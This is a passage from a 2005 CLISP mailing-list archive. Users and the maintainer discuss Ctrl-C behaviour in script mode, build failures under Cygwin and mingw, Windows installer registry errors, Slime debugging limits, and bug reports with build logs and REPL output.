prod@some01.machine.com:~/stats-collecting/memory.txt 
prod@some02.machine.com:~/stats-collecting/memory.txt

Because the people that finally will use the program don't know Lisp I 
would like to have that they can exit the program in any case by 
pressing ctrl-c.

But I noticed that pressing ctrl-c leaves the program in the repl in the 
debugger.

from:
http://clisp.sourceforge.net/impnotes.html#script-exec
> Non-continuable errors and Control-C interrupts will terminate the execution of the Lisp script with an error status (using EXT:EXIT-ON-ERROR).
I see that under "script execution mode" a ctrl-c has this effect. Now 
my question is, how does clisp decide if it is in "script execution 
mode" or not? And can I perhaps set some flag that make clisp always 
exit on ctrl-c?

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> * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-16 13:26:34 -0500]:
>
> (defclass x () ())
> (gethash (find-class 'x) (make-hash-table :test 'equalp))
> causes a program stack overflow & hangs, as will:
> (gethash (find-class 'standard-class) (make-hash-table :test 'equalp))

this works for me with the cvs head.
apparently this has been fixed (there have been many changes in hash-tables)

Thanks for the bug report!

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> * Christian Schuhegger <Puevfgvna.Fpuhurttre@tzk.qr> [2005-03-16 20:12:46 +0100]:
>
> Now my question is, how does clisp decide if it is in "script
> execution mode" or not?

if the file is given on the command line, i.e., if we load file and then
quit, this is script.
if we execute the driver (the :init-function), this is not a script.

> And can I perhaps set some flag that make
> clisp always exit on ctrl-c?

no.

why don't you just wrap your init-function in exit-on-error?

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Sam Steingold wrote:
>>* Christian Schuhegger <Puevfgvna.Fpuhurttre@tzk.qr> [2005-03-16 20:12:46 +0100]:
>>
>>Now my question is, how does clisp decide if it is in "script
>>execution mode" or not?
> 
> 
> if the file is given on the command line, i.e., if we load file and then
> quit, this is script.
> if we execute the driver (the :init-function), this is not a script.

Thanks for the explanation.

>>And can I perhaps set some flag that make
>>clisp always exit on ctrl-c?
> 
> 
> no.
> 
> why don't you just wrap your init-function in exit-on-error?
> 

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Date: Thu Mar 17 05:31:36 2005
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hi sam - 
i am unable to compile the (mar 16, 2005) cvs head in cygwin.  
any suggestions?

i can get ./configure to work, but
    ./configure --with-mingw --with-module=regexp
--with-module=syscalls --build build-mingw
    ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw
 and
    ./configure --with-dynamic-calls=yes --with-mingw
--with-module-syscalls --with-module=regexp --build build-mingw

all fail after several pages of "checking _____/ config.status /
executing ___" outputs.  I see several lines of containing errors like
"no opening delimiter", labels used but not defined, and warnings
"assignment from incompatible pointer type".  Finally it reports
"confused by earlier errors, bailing out".

"./configure" seems to complete successfully, however.
Although, when I followed the make instructions:

    cd build-dir
    ./makemake --with-dynamic-ffi    > Makefile
    make config.lisp
    vi config.lisp
# The default stack size on your platform is insufficient
# and must be increased to at least 8192.  You must do either
#    'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or
#    'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)
    make 
    make check

I found that the make step fails with a long list of similar warnings
& errors, finally bailing out with:
    ...
    spvw_debug.d: In function `object_out':
    spvw_debug.d:31: warning: value computed is not used
    spvw_debug.d:32: warning: value computed is not used
    make: *** [spvw.o] Error 1

Can anyone suggest a good build recipe?
.... or better yet, will a release be available soon?

Thanks,
Aneil

On Wed, 16 Mar 2005 14:49:28 -0500, Sam Steingold <sds@gnu.org> wrote:
> > * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-16 13:26:34 -0500]:
> >
> > (defclass x () ())
> > (gethash (find-class 'x) (make-hash-table :test 'equalp))
> > causes a program stack overflow & hangs, as will:
> > (gethash (find-class 'standard-class) (make-hash-table :test 'equalp))
> 
> this works for me with the cvs head.
> apparently this has been fixed (there have been many changes in hash-tables)
> 
> Thanks for the bug report!
> 
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> * Aneil Mallavarapu <narvyonobb@tznvy.pbz> [2005-03-17 08:30:17 -0500]:
>
> any suggestions?

read src/NEWS

> i can get ./configure to work, but
>     ./configure --with-mingw --with-module=regexp
> --with-module=syscalls --build build-mingw

no need for --with-module=syscalls and --with-module=regexp
(see src/NEWS)

>     ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw

what is --with-dynamic-calls=yes?

> all fail after several pages of "checking _____/ config.status /
> executing ___" outputs.  I see several lines of containing errors like
> "no opening delimiter", labels used but not defined, and warnings
> "assignment from incompatible pointer type".  Finally it reports
> "confused by earlier errors, bailing out".

I have never seen this error.
could you please cut & paste?
(as per <http://clisp.cons.org/faq.html#bugs>
and <http://clisp.cons.org/clisp.html#bugs>)

> I found that the make step fails with a long list of similar warnings
> & errors, finally bailing out with:
>     ...
>     spvw_debug.d: In function `object_out':
>     spvw_debug.d:31: warning: value computed is not used
>     spvw_debug.d:32: warning: value computed is not used

these are warnings (although quite unusual ones).

>     make: *** [spvw.o] Error 1

so what was the error?

> Can anyone suggest a good build recipe?

./configure ... --build build-`uname`
works for me.

> .... or better yet, will a release be available soon?

yes, as soon as it is ready
(do not hold your breath - this is the status since last fall, see
src/TODO and contribute).


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Hi,

I am starting with CLisp on Windows and use Slime +
XEmacs as IDE.
Looks like debugging is not supported with Slime +
CLisp.
For example when I got a debug trap and I walk through
the code frames the "v" command that's supposed to
jump to the code report:
Cannot find source for frame: #<ADDRESS #x00C41308> T
#<ADDRESS #x00C415EC>

So my question is:
What can I do to make it work?
If I am using the wrong set of tools for CLisp on
Windows what tools I can look at as IDE?

Thanks!
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> Hi,
>=20
> I am starting with CLisp on Windows and use Slime + XEmacs as IDE.
> Looks like debugging is not supported with Slime + CLisp.
> For example when I got a debug trap and I walk through the=20
> code frames the "v" command that's supposed to jump to the=20
> code report:
> Cannot find source for frame: #<ADDRESS #x00C41308> T=20
> #<ADDRESS #x00C415EC>
>=20
> So my question is:
> What can I do to make it work?
> If I am using the wrong set of tools for CLisp on Windows=20
> what tools I can look at as IDE?

To the best of my knowledge, Slime only supports what's available in the
lisp environment it's running in.  Since Clisp doesn't support getting
to the source code of an error, Slime can't.  When I checked into it
last, there were no open source lisp implementations for Windows that
had this feature.  CMUCL/SBCL have this feature, but there is no windows
version of either of them (though SBCL has one in progress).

To make it work, you (or someone else) would have to add support to
Clisp for going from a frame to a source line.

	-Matt


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Sam Steingold schrieb:
> > * lin8080 <yva8080@serrarg.qr> [2005-03-13 03:46:45 +0100]:

Hallo

test-run2: Delete all former datas, extract the zip-file again.

> please edit install.bat and replace "-C" with "-repl" in the "clisp.exe"
> command line.

Replace -C with -rpl in INSTALL.BAT, line 15 and line 18, double-click
on install.bat

*********************************

+----------------------------------------------------------+
I this will install CLISP on your system,                  I
I associating file types FAS, MEM and LISP with CLISP.     I
I it will also create a shortcut to CLISP on your desktop. I
I               press C-c to abort                         I
+----------------------------------------------------------+
Weiter mit beliebiger Taste . . .

 * Installing CLISP to run from C:\clisp-2.33.82\
Use the `full' linking set? (y/n) y
Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP?
(y/n) y
associating CLISP with Lisp files under "HKEY_CLASSES_ROOT"
associating CLISP with FAS files under "HKEY_CLASSES_ROOT"
associating CLISP with MEM files under "HKEY_CLASSES_ROOT"

*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file
      specified.
The following restarts are available:
SKIP           :R1      skip this form and proceed
STOP           :R2      stop loading file
ABORT          :R3      ABORT
Break 1 [2]> :w
<1> #<ADD-ON-SYSTEM-FUNCTION DIR-KEY-VALUE>
EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs")
Break 1 [2]>

***********************************

> when you get this error, please type ":w" and see which specific
> function call triggers this error.
> thanks!

Well :)) Alternative, pressing 2x n:

************************************
...
Weiter mit beliebiger Taste . . .

 * Installing CLISP to run from C:\clisp-2.33.82\
Use the `full' linking set? (y/n) n
Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP?
(y/n) n

*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file
      specified.
The following restarts are available:
SKIP           :R1      skip this form and proceed
STOP           :R2      stop loading file
ABORT          :R3      ABORT
Break 1 [2]>

**************************************

hmm.


> > Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is
> > missing.

> you are no longer supposed to run "lisp.exe" by hand.
> always use "clisp.exe".

Ok, I try to get the cvs clisp.exe during next week and test it again.


> readme.de is out of date.  see readme.en.
> please send a patch to readme.de (and readme.es &c).

Nice. (*.es is not for me)

readme    - please rename to readme.en or readme.us
(most WIN editors take no notice when .* is missed)
(btw: taranslation for readme.de is liesmich.txt)

line 57,58,59: (looks like mismatch - please correct it)

   doc/impnotes.html,
   doc/impnotes.css,
   doc/clisp.png          implementation notes

should look like: (or something like that)

   doc/impnotes.html      Important implementation notes
   doc/impnotes.css       Stylesheet to html-file
   doc/clisp.png          Standart icon for the desktop

Else:
There is a file "clisp-link", 23 753 Bytes not listed in the readme. 
(Beginns with:
#!/bin/sh
# Usage: clisp-link command [more args]
....)
see src/install.lisp, created file from there? Hm. Isn't "#!/bin/sh"
linux-specific? Can that work on WIN? Don't know, never test such things
:( 
(file has no .* ending as described in install.lisp line7:
 - to create CLISP.LNK & CLISP.URL on your desktop.)

Else2:
/emacs-files: Did they work under WIN-Emacs Version? 
(not tested, have no emacs installed) Should be proofed.

Else3:
There is (line68)    src/clisp.c   - source of the driver program
In /src there is no *.c extracted by winzip.exe. I found clisp.h in
/linkkit-folder.
Please include the file or cancel line 68 in readme-file.

Else4:
In readme line 79:
  src/*.fas     - the same files, already compiled
In src no *.fas file are extract from the zip-file, only *.lisp. (and
later config.fas)

Else5:
Since there are 2 lisp.exe and lispinit.mem in /base and /full 
readme in line 83 should name the folder or maybe need an additional
sentence to explain the reason for that.

Else6:
Oh dear. Very important: The prompt looks like:    [1]> _
Please correct line 87. Please.

Else6:
Ähm. Readme line 108 and following: This is a relict from blank
DOS-times. Nowadays Win-users (XP- you know) - I think they do not
handle this like the readme recommend it. So, maybe the text should get
a general update there (namely with: right click on...and other nice
click events for goaling the win-aim) :)) However, it works as described
(as long as DOS housed in the target MS-Product).

Same is in readme line116: 
And create a batch file that starts lisp: ...

When (when) the install.bat works as expected, this step should be
obsolete. Think about a change there.
> you do not need any start.bat file.
> use the shortcut to clisp.exe which install.bat creates.
(no, no new icon found on my desktop)

Yes. And than I found in important Impnotes sec. 32.10 this:
(OS:MAKE-SHORTCUT pathname &KEY :WORKING-DIRECTORY :ARGUMENTS
:SHOW-COMMAND :ICON :DESCRIPTION :HOT-KEY :PATH)
     Create (or modify the properties of an existing one) a Win32
shortcut (#P".lnk") file. 
Life can be so easy :)

Else(n)
readme line 133 (129ff) describes the old steps to get help on errors.
In the actual version (2.33.82) this may work as readme says. But what I
saw is something like 
    :r1  some text
    :r2  some text
and this is not explained in the readme. Maybe this can be updated to
modern habit?

Minimal update in line 131: the prompt! (please)
Break 1 [2]>
no longer: 
1. Break> _

and the Help does only this: (a bit poor compared with 2.27 Version)
[6]> Help

Help (abbreviated :h) = this list
Use the usual editing capabilities.
(quit) or (exit) leaves CLISP.
[7]> :h

Help (abbreviated :h) = this list
Use the usual editing capabilities.
(quit) or (exit) leaves CLISP.
[8]>

(missed (bye) there).

unwide produces an error and that stands still in readme line 138.

Else (n+1)
Readme means (line 146ff), heavy errors should be reported with the
imp.-version. Please add there the (command) to report the plattform too
(or what else you wish to see).

Else (n+2)
The sources (line 154ff)? Are all these links still work? As I write
here long time ago, a link from cons.clisp.org brought me to uni
darmstadt and I found an older version there. And sourcefroge is not in
that list. So, look at the download-page and think user-friendly as a
service-maintainer. I guess I visit this in the next days.

Else (stack overflow)
After all, I send a private mail to <sds@gnu.org> with a version of
readme.de. Hope it is ok.

______________________________________
> thanks for the bug reports!
be continued :) (if you find time...) Example? 

Usualy a typical win-clicker looks for a file named setup.exe and do his
favorite: cilck here click there or, if lazy, let his finger for a while
on the enter key to get it.

stefan

(uff. more text then I thought)




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yet another pre-test, hopefully fixing the reported problems.

> please try woe32 pretest:
> <http://www.podval.org/~sds/clisp/clisp-2.33.83-win32.zip>
> <http://www.podval.org/~sds/clisp/NEWS>
> <http://www.podval.org/~sds/clisp/impnotes/>
>
> main attraction: MOP
>
> specifically, please do test install.bat and clisp.exe

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> * lin8080 <yva8080@serrarg.qr> [2005-03-17 23:14:48 +0100]:
>
> EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs")

please open regedit and find out what needs to be changed in

  (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input)
    (setq desktop (dir-key-value key "Common Desktop")
          programs (dir-key-value key "Common Programs")))

what's your woe version?

thanks!

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>> From: clisp-list-admin@lists.sourceforge.net
>> [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of
>> Andrew Stebakov
>> Sent: Thursday, March 17, 2005 1:29 PM
>>
>> I am starting with CLisp on Windows and use Slime + XEmacs as IDE.

>> Cannot find source for frame: #<ADDRESS #x00C41308> T
>> #<ADDRESS #x00C415EC>
>>
>> So my question is:
>> What can I do to make it work?
>> If I am using the wrong set of tools for CLisp on Windows
>> what tools I can look at as IDE?
>
> To the best of my knowledge, Slime only supports what's available in the
> lisp environment it's running in.  Since Clisp doesn't support getting
> to the source code of an error, Slime can't.  When I checked into it
> last, there were no open source lisp implementations for Windows that
> had this feature.  CMUCL/SBCL have this feature, but there is no windows
> version of either of them (though SBCL has one in progress).

Well, CormanLisp supports this feature technically,
comes with full source, but there are no Slime hooks yet.

No problem though. Just a matter of some hours work.

> To make it work, you (or someone else) would have to add support to
> Clisp for going from a frame to a source line.
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> > * lin8080 <yva8080@serrarg.qr> [2005-03-17 23:14:48 +0100]:

> > EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs")

> please open regedit and find out what needs to be changed in

3 Entries, none with lisp :(
In ~\\Explorer\\Desktop Trash is set, nothing else ("Eigene Dateien" is
removed)

>   (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input)
>     (setq desktop (dir-key-value key "Common Desktop")
>           programs (dir-key-value key "Common Programs")))

***********************************
Break 1 [7]> :a
[8]> (with-dir-key-open (key :win32
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders" :direction :input) 
      (setq desktop (dir-key-value key "Common Desktop") 
            programs (dir-key-value key "Common Programs")))

*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file
      specified.
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [9]> :r1
[10]>
***********************************

> what's your woe version?

***********************************
[10]> (os:version)
#<POSIX:VERSION :MAJOR 4 :MINOR 10 :BUILD 67766446 :PLATFORM :WINDOWS
  :SERVICE-PACK " A " :SERVICE-PACK-MAJOR 0 :SERVICE-PACK-MINOR 0
:SUITES NIL
  :PRODUCT-TYPE 0>
[11]>
***********************************

System: (from controll panel)
      Microsoft Windows 98
      Zweite Ausgabe  ;(second Edition)
      4.10.2222 A
      ...
      AuthenticAMD
      AMD Athlon(tm)
      768,0MB RAM

Standart install from CD-ROM, Firewall and Antivir Software runing.
Sorry, after regedit it is no more a standart...reboting.

Well, I download 2.33.83 now and look at it. Thank you.

stefan



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Sam Steingold schrieb:
> yet another pre-test, hopefully fixing the reported problems.



> > please try woe32 pretest:
> > <http://www.podval.org/~sds/clisp/clisp-2.33.83-win32.zip>

Download the zip, extract with winzip on c:\ and doubleclick on
install.bat.
(do a backup restore with system.dat and user.dat to have a clean one)

*******************************
+----------------------------------------------------------+
I this will install CLISP on your system,                  I
I associating file types FAS, MEM and LISP with CLISP.     I
I it will also create a shortcut to CLISP on your desktop. I
I               press C-c to abort                         I
+----------------------------------------------------------+
Weiter mit beliebiger Taste . . .

 * Installing CLISP to run from C:\clisp-2.33.83\
Use the `full' linking set? (y/n) y
Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP?
(y/n) y
associating CLISP with Lisp files under "HKEY_CLASSES_ROOT"
associating CLISP with FAS files under "HKEY_CLASSES_ROOT"
associating CLISP with MEM files under "HKEY_CLASSES_ROOT"
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file
      specified.

Weiter mit beliebiger Taste . . .
********************************

doubleclick than on clisp.exe does what expected:

********************************
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

[1]>
********************************

Is that all? 
y: Than nice :)))
n: consulting the readme.... 
question: no more (saveinitmem) and co? What about edit config.lisp?
(well I'll do so, HyperSpec is on local harddrive and line 41 is still:
    #"C:\\CLISP\\**\\") ; then in all subdirectories under C:\CLISP). 
Please update that also. (mh, guess I do a folder rename on c:\ -there
can only be one)

In regedit the *.lisp, *.fas,... is include. To run it with a
doubleclick it needs an asociation with a *.exe file, means an entrie
like:

HKYE_CLASSES_ROOT
   .cl
      shell
           open
               command            ;;new key
              "C:\clisp-2.33.83\clisp.exe%1"
and a reboot.

Now I create a Icon to clisp.exe, it works. This way it starts quicker
than the former handmade one. Thank you.

stefan



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> * lin8080 <yva8080@serrarg.qr> [2005-03-18 11:24:14 +0100]:
>
>>   (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input)
>>     (setq desktop (dir-key-value key "Common Desktop")
>>           programs (dir-key-value key "Common Programs")))

you need to find out where in the registry one can find your desktop and
common programs.

open regedit.
go to
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
do you have "Common Programs"? "Common Desktop"?
if the above key does not exist, what does?
How about
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
do a search for "common desktop" and "common programs".

thanks.

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I'm getting an error building a fresh CVS checkout.  It cannot compile "modules.c".
Here are the last few lines from make make log:

>>  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -fPIC -I/h/pkg/clisp/mysrc -c modules.c
>>  In file included from modules.d:35:
>>  modules.h:5: error: conflicting types for 'module__syscalls__subr_tab'
>>  modules.h:3: error: previous declaration of 'module__syscalls__subr_tab' was here
>>  modules.h:5: error: conflicting types for 'module__syscalls__subr_tab'
>>  modules.h:3: error: previous declaration of 'module__syscalls__subr_tab' was here
>>  gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -fPIC -x none -Wl,-export-dynamic modules.o fastcgi.o fastcgi_wrappers.o -lfcgi oracle.o oiface.o orafns.o -L /usr/local/oracle/lib -lclntsh -ldl -lpthread -lm linux.o -lm wildcard.o calls.o -lcrypt -lm regexi.o regex.o calls.o -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
>>  gcc: modules.o: No such file or directory
>>  base/lisp.run -B . -M base/lispinit.mem -norc -q -i syscalls/preload.lisp -x (saveinitmem "full/lispinit.mem")
>>  ;; Loading file syscalls/preload.lisp ...
>>  WARNING: MAKE-PACKAGE: a package with name "POSIX" already exists.
>>  
>>           return the existing package
>>  ;; Loaded file syscalls/preload.lisp
>>  1766632 ;
>>  883316
>>  full/lisp.run -B . -M full/lispinit.mem -norc -q -i syscalls/posix -i wildcard/wildcard -i bindings/glibc/linux -i bindings/glibc/wrap -i oracle/oracle -i fastcgi/fastcgi -x (saveinitmem "full/lispinit.mem")
>>  ./clisp-link: full/lisp.run: No such file or directory
>>  make: *** [full] Error 1


Note also that it doesnt' seem to detect the problem and forges ahead.  This is only
building "full" - the "base" builds OK

Here is my build command:

	./configure                                     \
	       --with-readline                          \
	       --with-dynamic-ffi                       \
	       --with-dynamic-modules                   \
	       --with-module=syscalls                   \
	       --with-module=wildcard                   \
	       --with-module=bindings/glibc             \
	       --with-module=oracle                     \
	       --with-module=fastcgi                    \
	       --build mysrc
	

ideas?

thanks,
	jh



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> * John K. Hinsdale <uva@nyzn.pbz> [2005-03-18 12:31:59 -0500]:
>
> 	./configure                                     \
> 	       --with-readline                          \
> 	       --with-dynamic-ffi                       \
> 	       --with-dynamic-modules                   \
> 	       --with-module=syscalls                   \

syscalls is a part of base now.
you always get it.

> 	       --with-module=wildcard                   \
> 	       --with-module=bindings/glibc             \
> 	       --with-module=oracle                     \
> 	       --with-module=fastcgi                    \
> 	       --build mysrc

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Sam Steingold schrieb:
> > * lin8080 <yva8080@serrarg.qr> [2005-03-18 11:24:14 +0100]:

> you need to find out where in the registry one can find your desktop and
> common programs.

> open regedit.
> go to
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
> do you have "Common Programs"? "Common Desktop"?

There is:
Common AppData  (--> Common Programs?)
Common Desktop
Common Startup

All set values link to c:\WINDOWS\All Users\... folder in the
window-path

Else there is:
Shell Icons, ShellExecuteHooks, (all Standart, no value set)
and ShellIconOverlayIdentifiers (one key set there)

> if the above key does not exist, what does?

Search for "Common Programs" returned nothing, for "Common" over 20
results, 
(there is a folder in 
C:\Programme/Gemeinsame Dateien (CommonFolderDir).)

Search for clisp returns:
have an entrie in HKEY_LOCAL-MACHINE 
- for .lisp (execute-command: clisp.exe)
- for fasfile (links to clisp.exe -K full "%1") (2. to ~~full -i) 
- for lispfile (links to clisp.exe -K full -c "%1")
- for memfile  (links to clisp.exe -K full -M "%1")
- and some MRUs (not important)


> How about
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
> do a search for "common desktop" and "common programs".

There is:
(Standart)     (Wert nicht gesetzt) (--> value not set)

> thanks.

jo

Someone send me a virus (Trojan-Spy.HTML.Paylap...... nice keylogger i
guess, Alexa dataminer was found). 
So, it can take some time till the provider cleaned it up. 

bye
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> * lin8080 <yva8080@serrarg.qr> [2005-03-20 19:55:29 +0100]:
>
>> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
>> do you have "Common Programs"? "Common Desktop"?
>
> There is:
> Common AppData  (--> Common Programs?)
> Common Desktop
> Common Startup
>
> All set values link to c:\WINDOWS\All Users\... folder in the
> window-path

which one points to
... \All Users\Start Menu\Programs?



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clisp-2.33.2 asked me to send this message.


Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*")
(#P"/local/users/pjb/src/lisp/encours/domingo/common/cl-loaders/uffi.lisp"
;;...
 #P"/local/users/pjb/src/lisp/encours/domingo/common/cl-loaders/araneida.lisp")
Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.")

*** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
Please send the authors of the program a description how you produced this error!
Break 2 DOMINGO[5]> :a

Break 1 DOMINGO[4]> (logical-pathname-translations "PACKAGES")
((#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*" "DOMINGO:SRC;*")
 (#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*.*" "DOMINGO:SRC;*.*")
 (#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*.*.*" "DOMINGO:SRC;*.*.*")
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  #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*")
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  #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*.*")
 (#P"PACKAGES:COM;INFORMATIMAGO;**;*.*.*"
  #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*.*.*")
 (#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))

Break 1 DOMINGO[4]> (PRINT-BUG-REPORT-INFO)


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)"
SOFTWARE-TYPE                "ANSI C program"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"


NIL
Break 1 DOMINGO[4]> 

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I have C code which is used for comunications.  It has four relavent functions.

A_connect (string, int)-> bollean

A_send (string)->boolean

A_receive () _> string.  Empty string if nothing is pending.

A_disconnect () -> boolean
.
I can compile this code using gcc under cygwin (MS XP).

How can I link this into a set of CLISP files which can be loaded to
add this functionality?

Detail example desired.  The file name is A_COM.c

I would prefer not building a new CLISP memory image.

Thanks
Eric Biefeld


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clisp from CVS head (build on mingw), win2k.
ActiveTcl 8.4.9
lisp2wish (lisp2wish-2004-01-31.tgz from cliki)

[3]> (wish::test-wish)
Handshaking ... ok.
Initializing ... done.
Listening:


Also hangs. Wish it is started, display a window with buttons and too hangs.

Somebody knows in what the reason?

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Date: Tue Mar 22 06:10:00 2005
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Hi Sam,
I tried your build suggestion.  I got a fresh copy of the head from
CVS, and ran:

Aneil@SYMBOLIC /cygdrive/c/code/clisp
$ ./configure --build build1 > configurelog.txt

At first, configure seemed to be succeeding, but after several screens
of non-error log messages, I receive many screenfuls of the following
(which I've greatly abbreviated).
)) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H
) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99.
)) && ((__GNUC__ >= 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800
 don't match.
)) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H
) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99.
)) && ((__GNUC__ >= 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800
)) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H
) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99.
))&& (defined(MAP_MEMORY_TABLESize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800
 don't match.
)) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H
) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99.
))&& (defined(MAP_MEMORY_TABLES && NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800
)) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H
) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99.
)) && (!defined(TYPECODESTABLES && NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800
 don't match.
...
This goes on for a while, then, towards the end:
...

spvw.d:1793: error: structure has no member named `tfl'
spvw.d:1804: error: structure has no member named `tfl'
spvw.d:1810: error: structure has no member named `tfl'
spvw.d: In function `init_object_tab':
spvw.d:1878: error: structure has no member named `tfl'
spvw.d:1916: warning: implicit declaration of function `init_cclosures'
spvw.d: In function `initmem':
spvw.d:1953: warning: implicit declaration of function `init_symbol_values'
spvw.d: In function `parse_options':
spvw.d:2538: error: `docstring' undeclared (first use in this function)
spvw.d:2538: error: `limit_low' undeclared (first use in this function)
spvw.d:2538: error: `limit_high' undeclared (first use in this function)
spvw.d:2554: error: `sizevar' undeclared (first use in this function)
spvw.d:2556: error: parse error before "case"
spvw.d: In function `init_memory':
spvw.d:3516: error: `markwatchset' undeclared (first use in this function)
spvw.d:3516: error: `markwatchset_allocated' undeclared (first use in this funct
ion)
spvw.d:3516: error: `markwatchset_size' undeclared (first use in this function)
spvw.d: In function `main_actions':
spvw.d:3653: error: structure has no member named `tfl'
spvw.d:3908: error: parse error before "else"
spvw.d:3913: error: parse error before "driver"
spvw.d: In function `main':
spvw.d:3965: error: void value not ignored as it ought to be
In file included from spvw.d:4190:
spvw_memfile.d:211: warning: static declaration for `savemem' follows non-static

spvw_memfile.d: In function `savemem':
spvw_memfile.d:226: error: structure has no member named `tfl'
spvw_memfile.d:226: error: structure has no member named `tfl'
spvw_memfile.d:226: error: structure has no member named `tfl'
In file included from spvw.d:4190:
spvw_memfile.d:1585:1: unterminated argument list invoking macro "for_all_consts
yms"
spvw.d: In function `loadmem_from_handle':
spvw.d:4199: error: `for_all_constsyms' undeclared (first use in this function)
spvw.d:4199: error: parse error before "void"
spvw.d:4267: error: `ret' undeclared (first use in this function)
spvw.d:4267: error: `name' undeclared (first use in this function)
spvw.d:4267: warning: passing arg 1 of `dlsym' makes pointer from integer withou
t a cast
spvw.d:4269: warning: `return' with a value, in function returning void
spvw.d:4270: error: parse error at end of input
